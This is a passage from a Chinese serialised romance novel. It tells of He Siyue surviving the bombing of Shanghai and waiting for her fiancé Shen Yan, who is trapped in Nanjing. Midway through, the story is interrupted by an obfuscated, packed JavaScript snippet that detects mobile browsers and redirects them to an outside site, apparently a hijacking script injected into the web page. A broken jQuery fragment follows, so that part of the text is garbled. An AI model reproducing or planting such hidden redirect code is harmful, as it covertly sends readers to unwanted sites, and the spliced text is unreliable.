病好后，何思玥在信里写：秦先生医术高明，一剂药下去便好了大半。只是你如此兴师动众，让我如何是好？下次若再这样，我便不告诉你了。
沈晏的回信很快到了，这次写得格外长：思玥，你道我兴师动众，我却觉得还不够。若我在上海，一定要亲自照料，端茶递水，守着你直到痊愈。如今远在南京，只能做这些微不足道的事，心里已是愧疚。
你说下次不告诉我，这话让我一夜未眠。思玥，我要你答应我，无论大事小事，好事坏事，都要让我知道。因为从你答应等我的那天起，你的喜怒哀乐，便都是我的责任了。
秦淮河昨夜结冰了，薄薄一层，阳光下晶莹剔透。我走在河边，想着若是你在，一定要拉着你去踩冰——虽然知道危险，但看你又怕又好奇的样子，一定很有趣。
快了，思玥。南京的事已近尾声，最迟腊月便能返沪。到时我们便去登记，然后……然后就是一辈子了。
等我。
何思玥读着这封信，眼泪滴在信纸上，洇开了一小片墨迹。她小心地擦干，将信纸折好，放进一个木盒里——那里已经存了厚厚一沓沈晏的来信。
她走到书桌前，铺开信纸，开始写回信：沈晏：我答应你。从今往后，大事小事，都告诉你。因为我的余生，都要与你分享，等你回来。
思玥，冬夜！
腊月初七，清晨。
何思玥被爆炸声惊醒时，还以为是在做梦。
那声音很远，闷闷的，像夏日的闷雷，但紧接着就是第二声、第三声——越来越近，越来越响。
窗玻璃哗啦啦地震动，桌上的茶杯跳起来，摔在地上，碎了一地。
她从床上坐起，心脏狂跳。远处传来尖锐的警报声，还有人群奔跑、哭喊的嘈杂。
战争来了。
不是谣传，不是报纸上遥远的消息，是真真切切的、炸在上海土地上的炮火。
她胡乱套上衣服，推开窗。东南方的天空被火光映红，浓烟滚滚升起——那是闸北的方向，也是……《妇女杂志》社所在的方向。
何思玥抓起外套就往外跑。楼道里已经挤满了惊慌的居民，大家都在往楼下冲。她逆着人流，想往杂志社去，却被一个邻居拉住：
“何小姐！不能去那边！听说日本人的飞机在轰炸！”
“我的工作……”她挣扎着。
“工作重要还是命重要！”邻居不由分说地把她拉下楼。
公寓外的街道上一片混乱。人们提着行李、抱着孩子，像无头苍蝇一样乱跑。
黄包车夫拉着空车飞奔，汽车鸣着喇叭横冲直撞。远处，爆炸声还在继续，每一声都像砸在心上。
何思玥站在混乱的街头，忽然想起沈晏。他还在南京，知不知道上海打起来了？安不安全？能不能回来？
这些念头像冰水，浇得她浑身发冷。
“何编辑！”一个熟悉的声音传来。
她转过头，看见林曼卿从一辆黄包车上跳下来，头发散乱，旗袍下摆撕破了一块，脸上有黑灰。
“林主编！杂志社……”
“没了。”林曼卿的声音很平静，但眼神里是深重的疲惫，“直接被炸中。稿子，资料，还有下期要刊的版……全没了。”
何思玥的心沉到谷底。那些她一个字一个字写出来的文章，那些她从外文资料里一点点翻译、注释的文字，那些承载着她们理想和希望的纸页……全没了。
“人员呢？”她哑声问。
“都撤出来了，受了些惊吓，但没大事。”林曼卿握住她的手，“思玥，现在不是说这个的时候。你得赶紧离开法租界，这里也不安全了。”
“去哪儿？”
“去公共租界，或者……回家。”林曼卿顿了顿，“如果你还有家的话。”
家？何思玥苦笑。何家的宅子早就被封了，她现在唯一的“家”，是沈晏的公寓——而那个家，也随时可能被战火波及。
正说着，又一阵爆炸声传来，这次更近了。
地面都在震动，街道两旁建筑的玻璃噼里啪啦往下掉。人群爆发出更惊恐的尖叫，开始疯狂地往西边涌——那边是公共租界，相对安全些。
“跟我走！”林曼卿拉起她就跑。
她们跟着人流，跌跌撞撞地往西跑。爆炸声在身后追着，像死神的脚步。何思玥跑着跑着，忽然想起什么，猛地停住脚步。
“我的信！”她转身要往回跑。
“你疯了！”林曼卿死死拉住她，“什么东西比命重要！”
“沈晏的信！”何思玥的声音带着哭腔，“他写给我的所有信，都在公寓里！”
那些信，是这两个月来支撑她的所有温暖。是沈晏不在身边时，她唯一的慰藉。如果连这些都没了……
“思玥！”林曼卿用力摇晃她，“信没了可以再写，人没了就什么都没了！沈晏要是知道你现在回去，会恨死我的！”
何思玥看着她，眼泪终于掉下来。是啊，沈晏如果知道她为了几封信回去冒险，一定会生气。他说过，她的平安，比什么都重要。
她最后看了一眼公寓的方向——那里已经被浓烟笼罩，看不清了。
然后她转过身，跟着林曼卿，汇入逃难的人流。
公共租界里已经挤满了人。街道上、公园里、甚至教堂里，到处都是逃难的人。有的拖家带口，有的只身一人，脸上都带着惊魂未定的恐惧。
林曼卿在公共租界有一处小公寓，勉强能容身。她把何思玥安顿下，又出去打听消息。
何思玥坐在窗前，看着窗外混乱的景象。炮声还在远处响着，时断时续。天空是灰黄色的，飘着硝烟和灰尘。这个她熟悉的、繁华的、爱恨交织的上海，在一夜之间，变成了战场。
傍晚，林曼卿回来了，脸色更差。
“打听到什么？”何思玥问。
“日本人从闸北攻进来了。”林曼卿的声音很低，“国军在抵抗，但……据说守不住。租界虽然暂时安全，但谁知道能安全多久。”
她顿了顿，看向何思玥：“思玥，你得离开上海。”
“离开？”
“对。”林曼卿点头，“去南京找沈晏，或者去更远的地方——武汉，重庆，哪里都行，只要离开战区。”
何思玥沉默。离开上海？这个念头她从未有过。这里是她的根，是她所有记忆的所在，是她答应沈晏要一起坚守的地方。
“我不能走。”她说，“我答应过沈晏，要在这里等他。”
“等？”林曼卿苦笑，“思玥，现在不是儿女情长的时候。你得活着，活着才能等他。如果上海沦陷了，你困在这里，他怎么回来找你？”
这话戳中了何思玥最深的恐惧。是啊，如果上海真的沦陷了，如果她被困在这里，沈晏就算回来，也找不到她。
“可是……”她声音哽咽，“我不知道他在南京的地址。我们一直通信，但信都是从沈氏商行转的……”
“那就去沈氏商行。”林曼卿说，“杨石泽应该知道。我陪你去。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005775|193555||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
第二天，炮声稍微远了些，但依然能听见。林曼卿弄来两身朴素的布衣，又找了辆还能通行的黄包车，带着何思玥往沈氏商行去。
街道上到处都是瓦砾和废墟。被炸毁的房屋还在冒烟，街角躺着来不及收殓的尸体。何思玥别过脸，不敢看。
沈氏商行所在的街道还算完好，但大门紧闭。林曼卿用力敲门，许久，才有一个伙计小心翼翼地从门缝里探出头。
“杨律师在吗？”何思玥急问。
伙计认出她，赶紧开门：“何小姐！您没事吧？杨律师一直在找您！”
杨石泽从里面快步走出来，看见何思玥，长长松了口气：“谢天谢地，你平安无事。沈晏从南京发了十几封电报，问你下落。”
“他在南京怎么样？”何思玥抓住他的手，“安全吗？能不能回来？”
“他很安全，但回不来。”杨石泽神色凝重，“沪宁铁路断了，长江也被封锁了。他现在困在南京，和你困在上海一样。”
何思玥的心一点点凉下去。
“不过，”杨石泽从怀里取出一封信，“这是他昨天托人辗转送来的。说如果你平安，就交给你；如果……”他没说下去，但何思玥懂了。
她颤抖着手接过信。信封已经被揉皱了，上面还沾着不知是谁的血迹。
展开信纸，沈晏的字迹依旧工整，但看得出写得很急：
思玥：见字时，上海应已战火纷飞。我恨不能插翅飞回你身边，但路断了，江封了，我困在此处，如困兽般焦灼。
杨石泽会安排你离沪。无论去何处，先保平安。我答应你，战事稍缓，必不顾一切寻你。
记住：你是我沙漠里唯一的绿洲。只要绿洲还在，沙漠再广，我也能找到归路。
所以，好好活着。为我活着。
若此信到你手中，而我已不在……
不，没有这个可能。我一定会找到你。一定。
等我，思玥。等我。
晏急字
腊月初八
信到这里戛然而止，最后几个字写得几乎力透纸背。
何思玥的眼泪大颗大颗地砸在信纸上。她紧紧攥着信纸，像攥着最后一根救命稻草。
“杨先生，”她抬起头，眼神却异常坚定，“我不离开上海。”
“什么？”杨石泽和林曼卿都愣住了。
“我要在这里等他。”何思玥说，“如果离开了，他回来找不到我，怎么办？”
“可是上海随时可能沦陷……”
“那就沦陷吧。”何思玥的声音很轻，却有种破釜沉舟的决绝，“他在信里说，只要绿洲还在，沙漠再广，他也能找到归路。那我要做的，就是让这片绿洲，一直在原地等他。”
她看着窗外的硝烟，看着这个正在燃烧的城市，一字一句地说：“我会活下去。在这里活下去。等到他回来。”
林曼卿和杨石泽对视一眼，都从对方眼里看到了震惊，也看到了某种敬佩。
这个看似柔弱的女子，在战火纷飞中，选择了最艰难的一条路——不逃，不等，而是坚守。
坚守一个承诺，坚守一份爱情，坚守一片也许永远等不到归人的绿洲。
“好。”杨石泽终于点头，“我会安排，让你在租界最安全的地方住下。沈晏那边，我会想办法继续联系。”
“谢谢。”何思玥轻声说。
何思玥握紧沈晏的信，看向东南方——那是南京的方向。
沈晏，我会在这里等你。